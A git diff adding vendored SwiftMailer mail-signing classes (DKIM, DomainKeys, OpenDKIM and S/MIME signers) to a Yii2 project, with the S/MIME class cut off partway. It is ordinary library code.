a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Signers/DKIMSigner.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Signers/DKIMSigner.php new file mode 100644 index 00000000..220c3ac9 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Signers/DKIMSigner.php @@ -0,0 +1,688 @@ + + */ +class Swift_Signers_DKIMSigner implements Swift_Signers_HeaderSigner +{ + /** + * PrivateKey + * + * @var string + */ + protected $_privateKey; + + /** + * DomainName + * + * @var string + */ + protected $_domainName; + + /** + * Selector + * + * @var string + */ + protected $_selector; + + /** + * Hash algorithm used + * + * @var string + */ + protected $_hashAlgorithm = 'rsa-sha1'; + + /** + * Body canon method + * + * @var string + */ + protected $_bodyCanon = 'simple'; + + /** + * Header canon method + * + * @var string + */ + protected $_headerCanon = 'simple'; + + /** + * Headers not being signed + * + * @var array + */ + protected $_ignoredHeaders = array(); + + /** + * Signer identity + * + * @var unknown_type + */ + protected $_signerIdentity; + + /** + * BodyLength + * + * @var int + */ + protected $_bodyLen = 0; + + /** + * Maximum signedLen + * + * @var int + */ + protected $_maxLen = PHP_INT_MAX; + + /** + * Embbed bodyLen in signature + * + * @var bool + */ + protected $_showLen = false; + + /** + * When the signature has been applied (true means time()), false means not embedded + * + * @var mixed + */ + protected $_signatureTimestamp = true; + + /** + * When will the signature expires false means not embedded, if sigTimestamp is auto + * Expiration is relative, otherwhise it's absolute + * + * @var int + */ + protected $_signatureExpiration = false; + + /** + * Must we embed signed headers? + * + * @var bool + */ + protected $_debugHeaders = false; + + // work variables + /** + * Headers used to generate hash + * + * @var array + */ + protected $_signedHeaders = array(); + + /** + * If debugHeaders is set store debugDatas here + * + * @var string + */ + private $_debugHeadersData = ''; + + /** + * Stores the bodyHash + * + * @var string + */ + private $_bodyHash = ''; + + /** + * Stores the signature header + * + * @var Swift_Mime_Headers_ParameterizedHeader + */ + protected $_dkimHeader; + + /** + * Hash Handler + * + * @var hash_ressource + */ + private $_headerHashHandler; + + private $_bodyHashHandler; + + private $_headerHash; + + private $_headerCanonData = ''; + + private $_bodyCanonEmptyCounter = 0; + + private $_bodyCanonIgnoreStart = 2; + + private $_bodyCanonSpace = false; + + private $_bodyCanonLastChar = null; + + private $_bodyCanonLine = ''; + + private $_bound = array(); + + /** + * Constructor + * + * @param string $privateKey + * @param string $domainName + * @param string $selector + */ + public function __construct($privateKey, $domainName, $selector) + { + $this->_privateKey = $privateKey; + $this->_domainName = $domainName; + $this->_signerIdentity = '@'.$domainName; + $this->_selector = $selector; + } + + /** + * Instanciate DKIMSigner + * + * @param string $privateKey + * @param string $domainName + * @param string $selector + * @return Swift_Signers_DKIMSigner + */ + public static function newInstance($privateKey, $domainName, $selector) + { + return new static($privateKey, $domainName, $selector); + } + + /** + * Reset the Signer + * @see Swift_Signer::reset() + */ + public function reset() + { + $this->_headerHash = null; + $this->_signedHeaders = array(); + $this->_headerHashHandler = null; + $this->_bodyHash = null; + $this->_bodyHashHandler = null; + $this->_bodyCanonIgnoreStart = 2; + $this->_bodyCanonEmptyCounter = 0; + $this->_bodyCanonLastChar = null; + $this->_bodyCanonSpace = false; + } + + /** + * Writes $bytes to the end of the stream. + * + * Writing may not happen immediately if the stream chooses to buffer. If + * you want to write these bytes with immediate effect, call {@link commit()} + * after calling write(). + * + * This method returns the sequence ID of the write (i.e. 1 for first, 2 for + * second, etc etc). + * + * @param string $bytes + * @return int + * @throws Swift_IoException + */ + public function write($bytes) + { + $this->_canonicalizeBody($bytes); + foreach ($this->_bound as $is) { + $is->write($bytes); + } + } + + /** + * For any bytes that are currently buffered inside the stream, force them + * off the buffer. + * + * @throws Swift_IoException + */ + public function commit() + { + // Nothing to do + return; + } + + /** + * Attach $is to this stream. + * The stream acts as an observer, receiving all data that is written. + * All {@link write()} and {@link flushBuffers()} operations will be mirrored. + * + * @param Swift_InputByteStream $is + */ + public function bind(Swift_InputByteStream $is) + { + // Don't have to mirror anything + $this->_bound[] = $is; + + return; + } + + /** + * Remove an already bound stream. + * If $is is not bound, no errors will be raised. + * If the stream currently has any buffered data it will be written to $is + * before unbinding occurs. + * + * @param Swift_InputByteStream $is + */ + public function unbind(Swift_InputByteStream $is) + { + // Don't have to mirror anything + foreach ($this->_bound as $k => $stream) { + if ($stream === $is) { + unset($this->_bound[$k]); + + return; + } + } + + return; + } + + /** + * Flush the contents of the stream (empty it) and set the internal pointer + * to the beginning. + * + * @throws Swift_IoException + */ + public function flushBuffers() + { + $this->reset(); + } + + /** + * Set hash_algorithm, must be one of rsa-sha256 | rsa-sha1 defaults to rsa-sha256 + * + * @param string $hash + * @return Swift_Signers_DKIMSigner + */ + public function setHashAlgorithm($hash) + { + // Unable to sign with rsa-sha256 + if ($hash == 'rsa-sha1') { + $this->_hashAlgorithm = 'rsa-sha1'; + } else { + $this->_hashAlgorithm = 'rsa-sha256'; + } + + return $this; + } + + /** + * Set the body canonicalization algorithm + * + * @param string $canon + * @return Swift_Signers_DKIMSigner + */ + public function setBodyCanon($canon) + { + if ($canon == 'relaxed') { + $this->_bodyCanon = 'relaxed'; + } else { + $this->_bodyCanon = 'simple'; + } + + return $this; + } + + /** + * Set the header canonicalization algorithm + * + * @param string $canon + * @return Swift_Signers_DKIMSigner + */ + public function setHeaderCanon($canon) + { + if ($canon == 'relaxed') { + $this->_headerCanon = 'relaxed'; + } else { + $this->_headerCanon = 'simple'; + } + + return $this; + } + + /** + * Set the signer identity + * + * @param string $identity + * @return Swift_Signers_DKIMSigner + */ + public function setSignerIdentity($identity) + { + $this->_signerIdentity = $identity; + + return $this; + } + + /** + * Set the length of the body to sign + * + * @param mixed $len (bool or int) + * @return Swift_Signers_DKIMSigner + */ + public function setBodySignedLen($len) + { + if ($len === true) { + $this->_showLen = true; + $this->_maxLen = PHP_INT_MAX; + } elseif ($len === false) { + $this->showLen = false; + $this->_maxLen = PHP_INT_MAX; + } else { + $this->_showLen = true; + $this->_maxLen = (int) $len; + } + + return $this; + } + + /** + * Set the signature timestamp + * + * @param timestamp $time + * @return Swift_Signers_DKIMSigner + */ + public function setSignatureTimestamp($time) + { + $this->_signatureTimestamp = $time; + + return $this; + } + + /** + * Set the signature expiration timestamp + * + * @param timestamp $time + * @return Swift_Signers_DKIMSigner + */ + public function setSignatureExpiration($time) + { + $this->_signatureExpiration = $time; + + return $this; + } + + /** + * Enable / disable the DebugHeaders + * + * @param bool $debug + * @return Swift_Signers_DKIMSigner + */ + public function setDebugHeaders($debug) + { + $this->_debugHeaders = (bool) $debug; + + return $this; + } + + /** + * Start Body + * + */ + public function startBody() + { + // Init + switch ($this->_hashAlgorithm) { + case 'rsa-sha256' : + $this->_bodyHashHandler = hash_init('sha256'); + break; + case 'rsa-sha1' : + $this->_bodyHashHandler = hash_init('sha1'); + break; + } + $this->_bodyCanonLine = ''; + } + + /** + * End Body + * + */ + public function endBody() + { + $this->_endOfBody(); + } + + /** + * Returns the list of Headers Tampered by this plugin + * + * @return array + */ + public function getAlteredHeaders() + { + if ($this->_debugHeaders) { + return array('DKIM-Signature', 'X-DebugHash'); + } else { + return array('DKIM-Signature'); + } + } + + /** + * Adds an ignored Header + * + * @param string $header_name + * @return Swift_Signers_DKIMSigner + */ + public function ignoreHeader($header_name) + { + $this->_ignoredHeaders[strtolower($header_name)] = true; + + return $this; + } + + /** + * Set the headers to sign + * + * @param Swift_Mime_HeaderSet $headers + * @return Swift_Signers_DKIMSigner + */ + public function setHeaders(Swift_Mime_HeaderSet $headers) + { + $this->_headerCanonData = ''; + // Loop through Headers + $listHeaders = $headers->listAll(); + foreach ($listHeaders as $hName) { + // Check if we need to ignore Header + if (! isset($this->_ignoredHeaders[strtolower($hName)])) { + if ($headers->has($hName)) { + $tmp = $headers->getAll($hName); + foreach ($tmp as $header) { + if ($header->getFieldBody() != '') { + $this->_addHeader($header->toString()); + $this->_signedHeaders[] = $header->getFieldName(); + } + } + } + } + } + + return $this; + } + + /** + * Add the signature to the given Headers + * + * @param Swift_Mime_HeaderSet $headers + * @return Swift_Signers_DKIMSigner + */ + public function addSignature(Swift_Mime_HeaderSet $headers) + { + // Prepare the DKIM-Signature + $params = array('v' => '1', 'a' => $this->_hashAlgorithm, 'bh' => base64_encode($this->_bodyHash), 'd' => $this->_domainName, 'h' => implode(': ', $this->_signedHeaders), 'i' => $this->_signerIdentity, 's' => $this->_selector); + if ($this->_bodyCanon != 'simple') { + $params['c'] = $this->_headerCanon.'/'.$this->_bodyCanon; + } elseif ($this->_headerCanon != 'simple') { + $params['c'] = $this->_headerCanon; + } + if ($this->_showLen) { + $params['l'] = $this->_bodyLen; + } + if ($this->_signatureTimestamp === true) { + $params['t'] = time(); + if ($this->_signatureExpiration !== false) { + $params['x'] = $params['t'] + $this->_signatureExpiration; + } + } else { + if ($this->_signatureTimestamp !== false) { + $params['t'] = $this->_signatureTimestamp; + } + if ($this->_signatureExpiration !== false) { + $params['x'] = $this->_signatureExpiration; + } + } + if ($this->_debugHeaders) { + $params['z'] = implode('|', $this->_debugHeadersData); + } + $string = ''; + foreach ($params as $k => $v) { + $string .= $k.'='.$v.'; '; + } + $string = trim($string); + $headers->addTextHeader('DKIM-Signature', $string); + // Add the last DKIM-Signature + $tmp = $headers->getAll('DKIM-Signature'); + $this->_dkimHeader = end($tmp); + $this->_addHeader(trim($this->_dkimHeader->toString())."\r\n b=", true); + $this->_endOfHeaders(); + if ($this->_debugHeaders) { + $headers->addTextHeader('X-DebugHash', base64_encode($this->_headerHash)); + } + $this->_dkimHeader->setValue($string." b=".trim(chunk_split(base64_encode($this->_getEncryptedHash()), 73, " "))); + + return $this; + } + + /* Private helpers */ + + protected function _addHeader($header, $is_sig = false) + { + switch ($this->_headerCanon) { + case 'relaxed' : + // Prepare Header and cascade + $exploded = explode(':', $header, 2); + $name = strtolower(trim($exploded[0])); + $value = str_replace("\r\n", "", $exploded[1]); + $value = preg_replace("/[ \t][ \t]+/", " ", $value); + $header = $name.":".trim($value).($is_sig ? '' : "\r\n"); + case 'simple' : + // Nothing to do + } + $this->_addToHeaderHash($header); + } + + protected function _endOfHeaders() + { + //$this->_headerHash=hash_final($this->_headerHashHandler, true); + } + + protected function _canonicalizeBody($string) + { + $len = strlen($string); + $canon = ''; + $method = ($this->_bodyCanon == "relaxed"); + for ($i = 0; $i < $len; ++$i) { + if ($this->_bodyCanonIgnoreStart > 0) { + --$this->_bodyCanonIgnoreStart; + continue; + } + switch ($string[$i]) { + case "\r" : + $this->_bodyCanonLastChar = "\r"; + break; + case "\n" : + if ($this->_bodyCanonLastChar == "\r") { + if ($method) { + $this->_bodyCanonSpace = false; + } + if ($this->_bodyCanonLine == '') { + ++$this->_bodyCanonEmptyCounter; + } else { + $this->_bodyCanonLine = ''; + $canon .= "\r\n"; + } + } else { + // Wooops Error + // todo handle it but should never happen + } + break; + case " " : + case "\t" : + if ($method) { + $this->_bodyCanonSpace = true; + break; + } + default : + if ($this->_bodyCanonEmptyCounter > 0) { + $canon .= str_repeat("\r\n", $this->_bodyCanonEmptyCounter); + $this->_bodyCanonEmptyCounter = 0; + } + if ($this->_bodyCanonSpace) { + $this->_bodyCanonLine .= ' '; + $canon .= ' '; + $this->_bodyCanonSpace = false; + } + $this->_bodyCanonLine .= $string[$i]; + $canon .= $string[$i]; + } + } + $this->_addToBodyHash($canon); + } + + protected function _endOfBody() + { + // Add trailing Line return if last line is non empty + if (strlen($this->_bodyCanonLine) > 0) { + $this->_addToBodyHash("\r\n"); + } + $this->_bodyHash = hash_final($this->_bodyHashHandler, true); + } + + private function _addToBodyHash($string) + { + $len = strlen($string); + if ($len > ($new_len = ($this->_maxLen - $this->_bodyLen))) { + $string = substr($string, 0, $new_len); + $len = $new_len; + } + hash_update($this->_bodyHashHandler, $string); + $this->_bodyLen += $len; + } + + private function _addToHeaderHash($header) + { + if ($this->_debugHeaders) { + $this->_debugHeadersData[] = trim($header); + } + $this->_headerCanonData .= $header; + } + + /** + * @throws Swift_SwiftException + * @return string + */ + private function _getEncryptedHash() + { + $signature = ''; + switch ($this->_hashAlgorithm) { + case 'rsa-sha1': + $algorithm = OPENSSL_ALGO_SHA1; + break; + case 'rsa-sha256': + $algorithm = OPENSSL_ALGO_SHA256; + break; + } + $pkeyId = openssl_get_privatekey($this->_privateKey); + if (!$pkeyId) { + throw new Swift_SwiftException('Unable to load DKIM Private Key ['.openssl_error_string().']'); + } + if (openssl_sign($this->_headerCanonData, $signature, $pkeyId, $algorithm)) { + return $signature; + } + throw new Swift_SwiftException('Unable to sign DKIM Hash ['.openssl_error_string().']'); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Signers/DomainKeySigner.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Signers/DomainKeySigner.php new file mode 100644 index 00000000..b52ffdf4 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Signers/DomainKeySigner.php @@ -0,0 +1,512 @@ + + */ +class Swift_Signers_DomainKeySigner implements Swift_Signers_HeaderSigner +{ + /** + * PrivateKey + * + * @var string + */ + protected $_privateKey; + + /** + * DomainName + * + * @var string + */ + protected $_domainName; + + /** + * Selector + * + * @var string + */ + protected $_selector; + + /** + * Hash algorithm used + * + * @var string + */ + protected $_hashAlgorithm = 'rsa-sha1'; + + /** + * Canonisation method + * + * @var string + */ + protected $_canon = 'simple'; + + /** + * Headers not being signed + * + * @var array + */ + protected $_ignoredHeaders = array(); + + /** + * Signer identity + * + * @var string + */ + protected $_signerIdentity; + + /** + * Must we embed signed headers? + * + * @var bool + */ + protected $_debugHeaders = false; + + // work variables + /** + * Headers used to generate hash + * + * @var array + */ + private $_signedHeaders = array(); + + /** + * Stores the signature header + * + * @var Swift_Mime_Headers_ParameterizedHeader + */ + protected $_domainKeyHeader; + + /** + * Hash Handler + * + * @var resource|null + */ + private $_hashHandler; + + private $_hash; + + private $_canonData = ''; + + private $_bodyCanonEmptyCounter = 0; + + private $_bodyCanonIgnoreStart = 2; + + private $_bodyCanonSpace = false; + + private $_bodyCanonLastChar = null; + + private $_bodyCanonLine = ''; + + private $_bound = array(); + + /** + * Constructor + * + * @param string $privateKey + * @param string $domainName + * @param string $selector + */ + public function __construct($privateKey, $domainName, $selector) + { + $this->_privateKey = $privateKey; + $this->_domainName = $domainName; + $this->_signerIdentity = '@'.$domainName; + $this->_selector = $selector; + } + + /** + * Instanciate DomainKeySigner + * + * @param string $privateKey + * @param string $domainName + * @param string $selector + * @return Swift_Signers_DomainKeySigner + */ + public static function newInstance($privateKey, $domainName, $selector) + { + return new static($privateKey, $domainName, $selector); + } + + /** + * Resets internal states + * + * @return Swift_Signers_DomainKeysSigner + */ + public function reset() + { + $this->_hash = null; + $this->_hashHandler = null; + $this->_bodyCanonIgnoreStart = 2; + $this->_bodyCanonEmptyCounter = 0; + $this->_bodyCanonLastChar = null; + $this->_bodyCanonSpace = false; + + return $this; + } + + /** + * Writes $bytes to the end of the stream. + * + * Writing may not happen immediately if the stream chooses to buffer. If + * you want to write these bytes with immediate effect, call {@link commit()} + * after calling write(). + * + * This method returns the sequence ID of the write (i.e. 1 for first, 2 for + * second, etc etc). + * + * @param string $bytes + * @return int + * @throws Swift_IoException + * @return Swift_Signers_DomainKeysSigner + */ + public function write($bytes) + { + $this->_canonicalizeBody($bytes); + foreach ($this->_bound as $is) { + $is->write($bytes); + } + + return $this; + } + + /** + * For any bytes that are currently buffered inside the stream, force them + * off the buffer. + * + * @throws Swift_IoException + * @return Swift_Signers_DomainKeysSigner + */ + public function commit() + { + // Nothing to do + return $this; + } + + /** + * Attach $is to this stream. + * The stream acts as an observer, receiving all data that is written. + * All {@link write()} and {@link flushBuffers()} operations will be mirrored. + * + * @param Swift_InputByteStream $is + * @return Swift_Signers_DomainKeysSigner + */ + public function bind(Swift_InputByteStream $is) + { + // Don't have to mirror anything + $this->_bound[] = $is; + + return $this; + } + + /** + * Remove an already bound stream. + * If $is is not bound, no errors will be raised. + * If the stream currently has any buffered data it will be written to $is + * before unbinding occurs. + * + * @param Swift_InputByteStream $is + * @return Swift_Signers_DomainKeysSigner + */ + public function unbind(Swift_InputByteStream $is) + { + // Don't have to mirror anything + foreach ($this->_bound as $k => $stream) { + if ($stream === $is) { + unset($this->_bound[$k]); + + return; + } + } + + return $this; + } + + /** + * Flush the contents of the stream (empty it) and set the internal pointer + * to the beginning. + * + * @throws Swift_IoException + * @return Swift_Signers_DomainKeysSigner + */ + public function flushBuffers() + { + $this->reset(); + + return $this; + } + + /** + * Set hash_algorithm, must be one of rsa-sha256 | rsa-sha1 defaults to rsa-sha256 + * + * @param string $hash + * @return Swift_Signers_DomainKeysSigner + */ + public function setHashAlgorithm($hash) + { + $this->_hashAlgorithm = 'rsa-sha1'; + + return $this; + } + + /** + * Set the canonicalization algorithm + * + * @param string $canon simple | nofws defaults to simple + * @return Swift_Signers_DomainKeysSigner + */ + public function setCanon($canon) + { + if ($canon == 'nofws') { + $this->_canon = 'nofws'; + } else { + $this->_canon = 'simple'; + } + + return $this; + } + + /** + * Set the signer identity + * + * @param string $identity + * @return Swift_Signers_DomainKeySigner + */ + public function setSignerIdentity($identity) + { + $this->_signerIdentity = $identity; + + return $this; + } + + /** + * Enable / disable the DebugHeaders + * + * @param bool $debug + * @return Swift_Signers_DomainKeySigner + */ + public function setDebugHeaders($debug) + { + $this->_debugHeaders = (bool) $debug; + + return $this; + } + + /** + * Start Body + * + */ + public function startBody() + { + } + + /** + * End Body + * + */ + public function endBody() + { + $this->_endOfBody(); + } + + /** + * Returns the list of Headers Tampered by this plugin + * + * @return array + */ + public function getAlteredHeaders() + { + if ($this->_debugHeaders) { + return array('DomainKey-Signature', 'X-DebugHash'); + } else { + return array('DomainKey-Signature'); + } + } + + /** + * Adds an ignored Header + * + * @param string $header_name + * @return Swift_Signers_DomainKeySigner + */ + public function ignoreHeader($header_name) + { + $this->_ignoredHeaders[strtolower($header_name)] = true; + + return $this; + } + + /** + * Set the headers to sign + * + * @param Swift_Mime_HeaderSet $headers + * @return Swift_Signers_DomainKeySigner + */ + public function setHeaders(Swift_Mime_HeaderSet $headers) + { + $this->_startHash(); + $this->_canonData = ''; + // Loop through Headers + $listHeaders = $headers->listAll(); + foreach ($listHeaders as $hName) { + // Check if we need to ignore Header + if (! isset($this->_ignoredHeaders[strtolower($hName)])) { + if ($headers->has($hName)) { + $tmp = $headers->getAll($hName); + foreach ($tmp as $header) { + if ($header->getFieldBody() != '') { + $this->_addHeader($header->toString()); + $this->_signedHeaders[] = $header->getFieldName(); + } + } + } + } + } + $this->_endOfHeaders(); + + return $this; + } + + /** + * Add the signature to the given Headers + * + * @param Swift_Mime_HeaderSet $headers + * @return Swift_Signers_DomainKeySigner + */ + public function addSignature(Swift_Mime_HeaderSet $headers) + { + // Prepare the DomainKey-Signature Header + $params = array('a' => $this->_hashAlgorithm, 'b' => chunk_split(base64_encode($this->_getEncryptedHash()), 73, " "), 'c' => $this->_canon, 'd' => $this->_domainName, 'h' => implode(': ', $this->_signedHeaders), 'q' => 'dns', 's' => $this->_selector); + $string = ''; + foreach ($params as $k => $v) { + $string .= $k.'='.$v.'; '; + } + $string = trim($string); + $headers->addTextHeader('DomainKey-Signature', $string); + + return $this; + } + + /* Private helpers */ + + protected function _addHeader($header) + { + switch ($this->_canon) { + case 'nofws' : + // Prepare Header and cascade + $exploded = explode(':', $header, 2); + $name = strtolower(trim($exploded[0])); + $value = str_replace("\r\n", "", $exploded[1]); + $value = preg_replace("/[ \t][ \t]+/", " ", $value); + $header = $name.":".trim($value)."\r\n"; + case 'simple' : + // Nothing to do + } + $this->_addToHash($header); + } + + protected function _endOfHeaders() + { + $this->_bodyCanonEmptyCounter = 1; + } + + protected function _canonicalizeBody($string) + { + $len = strlen($string); + $canon = ''; + $nofws = ($this->_canon == "nofws"); + for ($i = 0; $i < $len; ++$i) { + if ($this->_bodyCanonIgnoreStart > 0) { + --$this->_bodyCanonIgnoreStart; + continue; + } + switch ($string[$i]) { + case "\r" : + $this->_bodyCanonLastChar = "\r"; + break; + case "\n" : + if ($this->_bodyCanonLastChar == "\r") { + if ($nofws) { + $this->_bodyCanonSpace = false; + } + if ($this->_bodyCanonLine == '') { + ++$this->_bodyCanonEmptyCounter; + } else { + $this->_bodyCanonLine = ''; + $canon .= "\r\n"; + } + } else { + // Wooops Error + throw new Swift_SwiftException('Invalid new line sequence in mail found \n without preceding \r'); + } + break; + case " " : + case "\t" : + case "\x09": //HTAB + if ($nofws) { + $this->_bodyCanonSpace = true; + break; + } + default : + if ($this->_bodyCanonEmptyCounter > 0) { + $canon .= str_repeat("\r\n", $this->_bodyCanonEmptyCounter); + $this->_bodyCanonEmptyCounter = 0; + } + $this->_bodyCanonLine .= $string[$i]; + $canon .= $string[$i]; + } + } + $this->_addToHash($canon); + } + + protected function _endOfBody() + { + if (strlen($this->_bodyCanonLine) > 0) { + $this->_addToHash("\r\n"); + } + $this->_hash = hash_final($this->_hashHandler, true); + } + + private function _addToHash($string) + { + $this->_canonData .= $string; + hash_update($this->_hashHandler, $string); + } + + private function _startHash() + { + // Init + switch ($this->_hashAlgorithm) { + case 'rsa-sha1' : + $this->_hashHandler = hash_init('sha1'); + break; + } + $this->_canonLine = ''; + } + + /** + * @throws Swift_SwiftException + * @return string + */ + private function _getEncryptedHash() + { + $signature = ''; + $pkeyId = openssl_get_privatekey($this->_privateKey); + if (!$pkeyId) { + throw new Swift_SwiftException('Unable to load DomainKey Private Key ['.openssl_error_string().']'); + } + if (openssl_sign($this->_canonData, $signature, $pkeyId, OPENSSL_ALGO_SHA1)) { + return $signature; + } + throw new Swift_SwiftException('Unable to sign DomainKey Hash ['.openssl_error_string().']'); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Signers/HeaderSigner.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Signers/HeaderSigner.php new file mode 100644 index 00000000..67c79413 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Signers/HeaderSigner.php @@ -0,0 +1,65 @@ + + */ +interface Swift_Signers_HeaderSigner extends Swift_Signer, Swift_InputByteStream +{ + /** + * Exclude an header from the signed headers + * + * @param string $header_name + * + * @return Swift_Signers_HeaderSigner + */ + public function ignoreHeader($header_name); + + /** + * Prepare the Signer to get a new Body + * + * @return Swift_Signers_HeaderSigner + */ + public function startBody(); + + /** + * Give the signal that the body has finished streaming + * + * @return Swift_Signers_HeaderSigner + */ + public function endBody(); + + /** + * Give the headers already given + * + * @param Swift_Mime_SimpleHeaderSet $headers + * + * @return Swift_Signers_HeaderSigner + */ + public function setHeaders(Swift_Mime_HeaderSet $headers); + + /** + * Add the header(s) to the headerSet + * + * @param Swift_Mime_HeaderSet $headers + * + * @return Swift_Signers_HeaderSigner + */ + public function addSignature(Swift_Mime_HeaderSet $headers); + + /** + * Return the list of header a signer might tamper + * + * @return array + */ + public function getAlteredHeaders(); +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Signers/OpenDKIMSigner.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Signers/OpenDKIMSigner.php new file mode 100644 index 00000000..b9738f42 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Signers/OpenDKIMSigner.php @@ -0,0 +1,186 @@ + + */ +class Swift_Signers_OpenDKIMSigner extends Swift_Signers_DKIMSigner +{ + private $_peclLoaded = false; + + private $_dkimHandler = null; + + private $dropFirstLF = true; + + const CANON_RELAXED = 1; + const CANON_SIMPLE = 2; + const SIG_RSA_SHA1 = 3; + const SIG_RSA_SHA256 = 4; + + public function __construct($privateKey, $domainName, $selector) + { + if (extension_loaded('opendkim')) { + $this->_peclLoaded = true; + } else { + throw new Swift_SwiftException('php-opendkim extension not found'); + } + parent::__construct($privateKey, $domainName, $selector); + } + + public static function newInstance($privateKey, $domainName, $selector) + { + return new static($privateKey, $domainName, $selector); + } + + public function addSignature(Swift_Mime_HeaderSet $headers) + { + $header = new Swift_Mime_Headers_OpenDKIMHeader('DKIM-Signature'); + $headerVal = $this->_dkimHandler->getSignatureHeader(); + if (!$headerVal) { + throw new Swift_SwiftException('OpenDKIM Error: '.$this->_dkimHandler->getError()); + } + $header->setValue($headerVal); + $headers->set($header); + + return $this; + } + + public function setHeaders(Swift_Mime_HeaderSet $headers) + { + $bodyLen = $this->_bodyLen; + if (is_bool($bodyLen)) { + $bodyLen = - 1; + } + $hash = ($this->_hashAlgorithm == 'rsa-sha1') ? OpenDKIMSign::ALG_RSASHA1 : OpenDKIMSign::ALG_RSASHA256; + $bodyCanon = ($this->_bodyCanon == 'simple') ? OpenDKIMSign::CANON_SIMPLE : OpenDKIMSign::CANON_RELAXED; + $headerCanon = ($this->_headerCanon == 'simple') ? OpenDKIMSign::CANON_SIMPLE : OpenDKIMSign::CANON_RELAXED; + $this->_dkimHandler = new OpenDKIMSign($this->_privateKey, $this->_selector, $this->_domainName, $headerCanon, $bodyCanon, $hash, $bodyLen); + // Hardcode signature Margin for now + $this->_dkimHandler->setMargin(78); + + if (!is_numeric($this->_signatureTimestamp)) { + OpenDKIM::setOption(OpenDKIM::OPTS_FIXEDTIME, time()); + } else { + if (!OpenDKIM::setOption(OpenDKIM::OPTS_FIXEDTIME, $this->_signatureTimestamp)) { + throw new Swift_SwiftException('Unable to force signature timestamp ['.openssl_error_string().']'); + } + } + if (isset($this->_signerIdentity)) { + $this->_dkimHandler->setSigner($this->_signerIdentity); + } + $listHeaders = $headers->listAll(); + foreach ($listHeaders as $hName) { + // Check if we need to ignore Header + if (! isset($this->_ignoredHeaders[strtolower($hName)])) { + $tmp = $headers->getAll($hName); + if ($headers->has($hName)) { + foreach ($tmp as $header) { + if ($header->getFieldBody() != '') { + $htosign = $header->toString(); + $this->_dkimHandler->header($htosign); + $this->_signedHeaders[] = $header->getFieldName(); + } + } + } + } + } + + return $this; + } + + public function startBody() + { + if (! $this->_peclLoaded) { + return parent::startBody(); + } + $this->dropFirstLF = true; + $this->_dkimHandler->eoh(); + + return $this; + } + + public function endBody() + { + if (! $this->_peclLoaded) { + return parent::endBody(); + } + $this->_dkimHandler->eom(); + + return $this; + } + + public function reset() + { + $this->_dkimHandler = null; + parent::reset(); + + return $this; + } + + /** + * Set the signature timestamp + * + * @param timestamp $time + * @return Swift_Signers_DKIMSigner + */ + public function setSignatureTimestamp($time) + { + $this->_signatureTimestamp = $time; + + return $this; + } + + /** + * Set the signature expiration timestamp + * + * @param timestamp $time + * @return Swift_Signers_DKIMSigner + */ + public function setSignatureExpiration($time) + { + $this->_signatureExpiration = $time; + + return $this; + } + + /** + * Enable / disable the DebugHeaders + * + * @param bool $debug + * @return Swift_Signers_DKIMSigner + */ + public function setDebugHeaders($debug) + { + $this->_debugHeaders = (bool) $debug; + + return $this; + } + + // Protected + + protected function _canonicalizeBody($string) + { + if (! $this->_peclLoaded) { + return parent::_canonicalizeBody($string); + } + if (false && $this->dropFirstLF === true) { + if ($string[0] == "\r" && $string[1] == "\n") { + $string = substr($string, 2); + } + } + $this->dropFirstLF = false; + if (strlen($string)) { + $this->_dkimHandler->body($string); + } + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Signers/SMimeSigner.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Signers/SMimeSigner.php new file mode 100644 index 00000000..42e294c6 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Signers/SMimeSigner.php @@ -0,0 +1,427 @@ + + */ +class Swift_Signers_SMimeSigner implements Swift_Signers_BodySigner +{ + protected $signCertificate; + protected $signPrivateKey; + protected $encryptCert; + protected $signThenEncrypt = true; + protected $signLevel; + protected $encryptLevel; + protected $signOptions; + protected $encryptOptions; + protected $encryptCipher; + + /** + * @var Swift_StreamFilters_StringReplacementFilterFactory + */ + protected $replacementFactory; + + /** + * @var Swift_Mime_HeaderFactory + */ + protected $headerFactory; + + /** + * Constructor. + * + * @param string $certificate + * @param string $privateKey + * @param string $encryptCertificate + */ + public function __construct($signCertificate = null, $signPrivateKey = null, $encryptCertificate = null) + { + if (null !== $signPrivateKey) { + $this->setSignCertificate($signCertificate, $signPrivateKey); + } + + if (null !== $encryptCertificate) { + $this->setEncryptCertificate($encryptCertificate); + } + + $this->replacementFactory = Swift_DependencyContainer::getInstance() + ->lookup('transport.replacementfactory'); + + $this->signOptions = PKCS7_DETACHED; + + // Supported since php5.4 + if (defined('OPENSSL_CIPHER_AES_128_CBC')) { + $this->encryptCipher = OPENSSL_CIPHER_AES_128_CBC; + } else { + $this->encryptCipher = OPENSSL_CIPHER_RC2_128; + } + } + + /** + * Returns an new Swift_Signers_SMimeSigner instance. + * + * @param string $certificate + * @param string $privateKey + * + * @return Swift_Signers_SMimeSigner + */ + public static function newInstance($certificate = null, $privateKey = null) + { + return new self($certificate, $privateKey); + } + + /** + * Set the certificate location to use for signing. + * + * @link http://www.php.net/manual/en/openssl.pkcs7.flags.php + * + * @param string $certificate + * @param string|array $privateKey If the key needs an passphrase use array('file-location', 'passphrase') instead + * @param int $signOptions Bitwise operator options for openssl_pkcs7_sign() + * + * @return Swift_Signers_SMimeSigner + */ + public function setSignCertificate($certificate, $privateKey = null, $signOptions = PKCS7_DETACHED) + { + $this->signCertificate = 'file://'.str_replace('\\', '/', realpath($certificate)); + + if (null !== $privateKey) { + if (is_array($privateKey)) { + $this->signPrivateKey = $privateKey; + 